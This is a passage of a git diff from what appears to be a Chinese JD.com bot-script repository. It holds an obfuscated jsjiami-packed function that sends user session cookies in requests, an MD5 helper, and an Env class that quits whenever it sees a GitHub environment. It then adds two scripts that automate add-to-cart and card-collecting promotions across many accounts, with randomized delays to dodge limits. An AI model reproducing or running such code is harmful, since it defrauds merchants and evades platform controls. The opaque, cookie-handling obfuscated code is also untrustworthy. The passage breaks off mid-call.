resp[_0x165719[_0x47fb('‫1e6')]][_0x165719[_0x47fb('‫1e7')]]){cookie=''+cookie+_0x4174bf[_0x47fb('‮58')](';')[0x0]+';';}}else{uuid=_0x2c1009[_0x47fb('‮110')](0x24);}}return uuid;});}function checkCookie(){var _0x354d90={'UJERb':function(_0x5488ae){return _0x5488ae();},'HEiqJ':function(_0x42550d,_0x144330){return _0x42550d===_0x144330;},'ItaHt':_0x47fb('‮118'),'pYODk':function(_0x174847,_0x2c8ba1){return _0x174847===_0x2c8ba1;},'KdWCz':_0x47fb('‫119'),'RcEGZ':function(_0x565810,_0xd4f1f){return _0x565810!==_0xd4f1f;},'AYiib':_0x47fb('‫1e8'),'BhvYr':_0x47fb('‫1e9'),'IMfMP':_0x47fb('‮3e'),'zkDlA':function(_0x33acb6,_0x1f153a){return _0x33acb6!==_0x1f153a;},'NWZlp':_0x47fb('‮1ea'),'HMdVG':_0x47fb('‮1eb'),'dEaNt':function(_0x250537,_0x26f4c1){return _0x250537===_0x26f4c1;},'pTvCk':_0x47fb('‫1ec'),'fZESy':_0x47fb('‮1ed'),'nxufL':function(_0x1b23e4){return _0x1b23e4();},'JHmtU':function(_0x3a9ed1,_0x5adf4f){return _0x3a9ed1|_0x5adf4f;},'pjtFD':function(_0xa5b19b,_0x4df066){return _0xa5b19b*_0x4df066;},'fYylw':function(_0x3c75bb,_0x3ed342){return _0x3c75bb==_0x3ed342;},'MsbCu':function(_0x3ab3aa,_0x3ae294){return _0x3ab3aa&_0x3ae294;},'wFDlL':_0x47fb('‫1ee'),'JzXCR':_0x47fb('‫1ef'),'vIryq':_0x47fb('‮166'),'NzRbN':_0x47fb('‫a9'),'wHWRY':_0x47fb('‫1f0'),'Hcutm':_0x47fb('‮a5'),'rDiVA':_0x47fb('‮1f1'),'GfscM':_0x47fb('‫a6')};const _0x3bc30a={'url':_0x354d90[_0x47fb('‫1f2')],'headers':{'Host':_0x354d90[_0x47fb('‫1f3')],'Accept':_0x354d90[_0x47fb('‮1f4')],'Connection':_0x354d90[_0x47fb('‫1f5')],'Cookie':cookie,'User-Agent':_0x354d90[_0x47fb('‮1f6')],'Accept-Language':_0x354d90[_0x47fb('‮1f7')],'Referer':_0x354d90[_0x47fb('‫1f8')],'Accept-Encoding':_0x354d90[_0x47fb('‮1f9')]}};return new Promise(_0x3cd73a=>{var _0x31f869={'ovPhi':function(_0x2f9072,_0x171d13){return _0x354d90[_0x47fb('‮1fa')](_0x2f9072,_0x171d13);},'jNgrb':function(_0xabef66,_0x236085){return _0x354d90[_0x47fb('‫1fb')](_0xabef66,_0x236085);},'Ccdwe':function(_0x125b58,_0x122baf){return _0x354d90[_0x47fb('‮1fc')](_0x125b58,_0x122baf);},'Xaaep':function(_0x4201bd,_0x7e9682){return _0x354d90[_0x47fb('‫1fd')](_0x4201bd,_0x7e9682);}};$[_0x47fb('‮13a')](_0x3bc30a,(_0x1a0f47,_0x34cac7,_0x4af94c)=>{var _0x25dff5={'eiYKT':function(_0x576a56){return _0x354d90[_0x47fb('‮1fe')](_0x576a56);}};try{if(_0x1a0f47){$[_0x47fb('‫114')](_0x1a0f47);}else{if(_0x4af94c){_0x4af94c=JSON[_0x47fb('‮9')](_0x4af94c);if(_0x354d90[_0x47fb('‮1ff')](_0x4af94c[_0x47fb('‮157')],_0x354d90[_0x47fb('‮200')])){$[_0x47fb('‫1b')]=![];return;}if(_0x354d90[_0x47fb('‫201')](_0x4af94c[_0x47fb('‮157')],'0')&&_0x4af94c[_0x47fb('‮92')][_0x47fb('‮15a')](_0x354d90[_0x47fb('‫202')])){if(_0x354d90[_0x47fb('‮203')](_0x354d90[_0x47fb('‫204')],_0x354d90[_0x47fb('‫205')])){$[_0x47fb('‫1c')]=_0x4af94c[_0x47fb('‮92')][_0x47fb('‫119')][_0x47fb('‫15c')][_0x47fb('‫10d')];}else{var _0x5447fd=_0x31f869[_0x47fb('‫206')](_0x31f869[_0x47fb('‫207')](Math[_0x47fb('‮1cf')](),0x10),0x0),_0x52a6b5=_0x31f869[_0x47fb('‫208')](c,'x')?_0x5447fd:_0x31f869[_0x47fb('‫206')](_0x31f869[_0x47fb('‫209')](_0x5447fd,0x3),0x8);if(UpperCase){uuid=_0x52a6b5[_0x47fb('‮110')](0x24)[_0x47fb('‮1d3')]();}else{uuid=_0x52a6b5[_0x47fb('‮110')](0x24);}return uuid;}}}else{$[_0x47fb('‮1e')](_0x354d90[_0x47fb('‫20a')]);}}}catch(_0x1078b3){if(_0x354d90[_0x47fb('‮20b')](_0x354d90[_0x47fb('‮20c')],_0x354d90[_0x47fb('‮20d')])){$[_0x47fb('‫114')](_0x1078b3);}else{$[_0x47fb('‫114')](_0x1078b3);}}finally{if(_0x354d90[_0x47fb('‫20e')](_0x354d90[_0x47fb('‮20f')],_0x354d90[_0x47fb('‮210')])){_0x25dff5[_0x47fb('‫211')](_0x3cd73a);}else{_0x354d90[_0x47fb('‮212')](_0x3cd73a);}}});});};_0xod2='jsjiami.com.v6'; +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_wx_addCart.js b/jd_wx_addCart.js new file mode 100644 index 0000000..308e91b --- /dev/null +++ b/jd_wx_addCart.js @@ -0,0 +1,182 @@ +//问题反馈:https://t.me/Wall_E_Channel +/* +7 7 7 7 7 m_jd_wx_addCart.js +*/ +let mode = __dirname.includes('magic') +const {Env} = mode ? require('./magic') : require('./magic') +const $ = new Env('M加购有礼'); +$.activityUrl = process.env.M_WX_ADD_CART_URL + ? process.env.M_WX_ADD_CART_URL + : ''; +if (mode) { + $.activityUrl = 'https://lzkj-isv.isvjcloud.com/wxCollectionActivity/activity2/507a016fb7cc46acb51f792cbbbd9903?activityId=507a016fb7cc46acb51f792cbbbd9903&shopid=1000003005' +} +$.activityUrl = $.match( + /(https?:\/\/[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|])/, + $.activityUrl) +$.domain = $.match(/https?:\/\/([^/]+)/, $.activityUrl) +$.activityId = $.getQueryString($.activityUrl, 'activityId') +$.activityContent = '' +$.logic = async function () { + if (!$.activityId || !$.activityUrl) { + $.expire = true; + $.putMsg(`activityId|activityUrl不存在`); + return + } + $.log(`活动地址: ${$.activityUrl}`) + $.UA = $.ua(); + + let token = await $.isvObfuscator(); + if (token.code !== '0') { + $.putMsg(`获取Token失败`); + return + } + $.Token = token?.token + + let actInfo = await $.api('customer/getSimpleActInfoVo', + `activityId=${$.activityId}`); + if (!actInfo.result) { + $.expire = true; + $.putMsg(`获取活动信息失败`); + return + } + $.venderId = actInfo.data.venderId; + $.shopId = actInfo.data.shopId; + $.activityType = actInfo.data.activityType; + + let myPing = await $.api('customer/getMyPing', + `userId=${$.venderId}&token=${$.Token}&fromType=APP`) + if (!myPing.result) { + $.putMsg(`获取pin失败`); + return + } + $.Pin = $.domain.includes('cjhy') ? encodeURIComponent( + encodeURIComponent(myPing.data.secretPin)) : encodeURIComponent( + myPing.data.secretPin); + + await $.api( + `common/${$.domain.includes('cjhy') ? 'accessLog' : 'accessLogWithAD'}`, + `venderId=${$.venderId}&code=${$.activityType}&pin=${$.Pin}&activityId=${$.activityId}&pageUrl=${encodeURIComponent( + $.activityUrl)}&subType=app&adSource=`); + let activityContent = await $.api('wxCollectionActivity/activityContent', + `activityId=${$.activityId}&pin=${$.Pin}`); + + if (!activityContent.result || !activityContent.data) { + $.putMsg(activityContent.errorMessage || '活动可能已结束') + return + } + + $.activityContent = activityContent; + let content = activityContent.data; + if (![6, 7, 9, 13, 14, 15, 16].includes( + activityContent.data.drawInfo.drawInfoType)) { + $.putMsg(`垃圾活动不跑了`) + $.expire = true + return + } + if (1 > 2) { + let memberInfo = await $.api($.domain.includes('cjhy') + ? 'mc/new/brandCard/common/shopAndBrand/getOpenCardInfo' + : 'wxCommonInfo/getActMemberInfo', + $.domain.includes('cjhy') + ? `venderId=${$.venderId}&buyerPin=${$.Pin}&activityType=${$.activityType}` + : + `venderId=${$.venderId}&activityId=${$.activityId}&pin=${$.Pin}`); + // 没开卡需要开卡 + if ($.domain.includes('cjhy')) { + if (memberInfo.result && !memberInfo.data?.openCard + && memberInfo.data?.openCardLink) { + $.putMsg('需要开卡,跳过') + return + } + } else { + if (memberInfo.result && !memberInfo.data?.openCard + && memberInfo.data?.actMemberStatus === 1) { + $.putMsg('需要开卡,跳过') + return + } + } + await $.api('wxActionCommon/getUserInfo', `pin=${$.Pin}`) + if (content.needFollow && !content.hasFollow) { + let followShop = await $.api(`wxActionCommon/followShop`, + `userId=${$.venderId}&activityId=${$.activityId}&buyerNick=${$.Pin}&activityType=${$.activityType}`); + await $.wait(1300, 1500) + if (!followShop.result) { + $.putMsg(followShop.errorMessage) + return; + } + } + } + + let needCollectionSize = content.needCollectionSize || 1; + let hasCollectionSize = content.hasCollectionSize; + let oneKeyAddCart = content.oneKeyAddCart * 1 === 1; + $.log('drawInfo', JSON.stringify(content.drawInfo)); + if (hasCollectionSize < needCollectionSize) { + let productIds = []; + a:for (let cpvo of content.cpvos) { + if (oneKeyAddCart) { + productIds.push(cpvo.skuId) + continue + } + for (let i = 0; i < 2; i++) { + try { + let carInfo = await $.api(`wxCollectionActivity/addCart`, + `activityId=${$.activityId}&pin=${$.Pin}&productId=${cpvo.skuId}`) + if (carInfo.result) { + if (carInfo.data.hasAddCartSize >= needCollectionSize) { + $.log(`加购完成,本次加购${carInfo.data.hasAddCartSize}个商品`) + break a + } + break; + } else { + await $.wxStop(carInfo.errorMessage) ? $.expire = true + : '' + $.putMsg(`${carInfo.errorMessage || '未知'}`); + break a + } + } catch (e) { + $.log(e) + } finally { + await $.wait(1300, 1500) + } + } + } + if (oneKeyAddCart) { + let carInfo = await $.api('wxCollectionActivity/oneKeyAddCart', + `activityId=${$.activityId}&pin=${$.Pin}&productIds=${encodeURIComponent( + JSON.stringify(productIds))}`) + if (carInfo.result && carInfo.data) { + $.log(`加购完成,本次加购${carInfo.data.hasAddCartSize}个商品`) + } else { + await $.wxStop(carInfo.errorMessage) ? $.expire = true : '' + $.putMsg(`${carInfo.errorMessage || '未知'}`); + return + } + } + } + if ($.expire) { + return + } + let prize = await $.api('wxCollectionActivity/getPrize', + `activityId=${$.activityId}&pin=${$.Pin}`); + if (prize.result) { + let msg = prize.data.drawOk ? prize.data.name : prize.data.errorMessage + || '空气'; + await $.wxStop(prize.data.errorMessage) ? $.expire = true : '' + $.putMsg(msg); + } else { + await $.wxStop(prize.errorMessage) ? $.expire = true : '' + $.putMsg(`${prize.errorMessage || '未知'}`); + } + await $.unfollow() +} +$.after = async function () { + $.msg.push(`\n${(await $.getShopInfo()).shopName}`) + $.msg.push( + `\n加购${$.activityContent?.data?.needCollectionSize}件,${$.activityContent.data.drawInfo?.name + || ''}\n`); + $.msg.push($.activityUrl) +} +$.run({whitelist: ['1-5'], wait: [3000, 5000]}).catch( + reason => $.log(reason)); diff --git a/jd_wx_collectCard.js b/jd_wx_collectCard.js new file mode 100644 index 0000000..20e9b4b --- /dev/null +++ b/jd_wx_collectCard.js @@ -0,0 +1,241 @@ +//问题反馈:https://t.me/Wall_E_Channel +/* +7 7 7 7 7 m_jd_wx_collectCard.js +*/ +let mode = __dirname.includes('magic') +const {Env} = mode ? require('./magic') : require('./magic') +const $ = new Env('M集卡抽奖'); +$.activityUrl = process.env.M_WX_COLLECT_CARD_URL + ? process.env.M_WX_COLLECT_CARD_URL + : ''; +//最多几个集卡的,其余只助力 +let leaders = process.env.M_WX_COLLECT_CARD_LEADERS + ? process.env.M_WX_COLLECT_CARD_LEADERS * 1 + : 5; +if (mode) { + $.activityUrl = 'https://lzkjdz-isv.isvjcloud.com/wxCollectCard/activity/1193422?activityId=cb4d9c7ca992427db5a52ec1c0bcc42e' + $.activityUrl = 'https://lzkjdz-isv.isvjcloud.com/wxCollectCard/activity/3839759?activityId=2a47604ff73b47b5b432a06dc2226b70' +} + +$.activityUrl = $.match( + /(https?:\/\/[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|])/, + $.activityUrl) +$.domain = $.match(/https?:\/\/([^/]+)/, $.activityUrl) +$.activityId = $.getQueryString($.activityUrl, 'activityId') +$.shareUuid = '' +let stop = false; +let shopInfo = '' +const all = new Set(); + +$.logic = async function () { + if (stop) { + return; + } + if (!$.activityId || !$.activityUrl) { + stop = true; + $.putMsg(`activityId|activityUrl不存在`); + return + } + $.log(`活动url: ${$.activityUrl} ${await $._algo() || ""}`) + $.UA = $.ua(); + let token = await $.isvObfuscator(); + if (token.code !== '0') { + $.putMsg(`获取Token失败`); + return + } + $.Token = token?.token + + let actInfo = await $.api('customer/getSimpleActInfoVo', + `activityId=${$.activityId}`); + if (!actInfo.result || !actInfo.data) { + $.log(`获取活动信息失败`); + return + } + $.venderId = actInfo.data.venderId; + $.shopId = actInfo.data.shopId; + $.activityType = actInfo.data.activityType; + + let myPing = await $.api('customer/getMyPing', + `userId=${$.venderId}&token=${$.Token}&fromType=APP`) + if (!myPing.result) { + $.putMsg(`获取pin失败`); + return + } + $.Pin = $.domain.includes('cjhy') ? encodeURIComponent( + encodeURIComponent(myPing.data.secretPin)) : encodeURIComponent( + myPing.data.secretPin); + + shopInfo = await $.api(`wxCollectCard/shopInfo`, + `activityId=${$.activityId}`); + if (!shopInfo.result) { + $.putMsg('获取不到店铺信息,结束运行') + return + } + $.shopName = shopInfo?.data?.shopName + + await $.api( + `common/${$.domain.includes('cjhy') ? 'accessLog' : 'accessLogWithAD'}`, + `venderId=${$.venderId}&code=${$.activityType}&pin=${ + $.Pin}&activityId=${$.activityId}&pageUrl=${encodeURIComponent( + $.activityUrl)}&subType=app&adSource=`); + + $.index > 1 ? $.log(`去助力${$.shareUuid}`) : '' + let activityContent = await $.api( + 'wxCollectCard/activityContent', + `activityId=${$.activityId}&pin=${ + $.Pin}&uuid=${$.shareUuid}`); + if (!activityContent.result && !activityContent.data) { + $.putMsg(activityContent.errorMessage || '活动可能已结束') + return + } + + let drawCount = $.match(/每人每天可获得(\d+)次/, activityContent.data.rule) + && $.match(/每人每天可获得(\d+)次/, activityContent.data.rule) * 1 || 5 + console.log('openCard', activityContent.data.openCard); + $.shareUuid = $.shareUuid || activityContent.data.uuid + if ($.index % 5 === 0) { + $.log('执行可持续发展之道') + await $.wait(1000, 6000) + } + let drawContent = await $.api('wxCollectCard/drawContent', + `activityId=${$.activityId}`); + if (drawContent.result && drawContent.data) { + $.content = drawContent.data.content || [] + } + let memberInfo = await $.api($.domain.includes('cjhy') + ? 'mc/new/brandCard/common/shopAndBrand/getOpenCardInfo' + : 'wxCommonInfo/getActMemberInfo', + $.domain.includes('cjhy') + ? `venderId=${$.venderId}&buyerPin=${$.Pin}&activityType=${$.activityType}` + : + `venderId=${$.venderId}&activityId=${$.activityId}&pin=${ + $.Pin}`); + //没开卡 需要开卡 + if ($.domain.includes('cjhy')) { + //没开卡 需要开卡 + if (memberInfo.result && !memberInfo.data?.openCard + && memberInfo.data?.openCardLink) { + $.putMsg('需要开卡,跳过') + return + } + } else { + if (memberInfo.result && !memberInfo.data?.openCard + && memberInfo.data?.actMemberStatus === 1) { + $.putMsg('需要开卡,跳过') + return + } + } + $.shareUuid = $.shareUuid || activityContent.data.uuid + let userInfo = await $.api('wxActionCommon/getUserInfo', + `pin=${$.Pin}`); + if (!userInfo.result || !userInfo.data) { + $.putMsg(`获取getUserInfo失败`); + return + } + $.nickname = userInfo.data.nickname; + $.attrTouXiang = userInfo.data.yunMidImageUrl + || 'https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg' + + await $.api('crm/pageVisit/insertCrmPageVisit', + 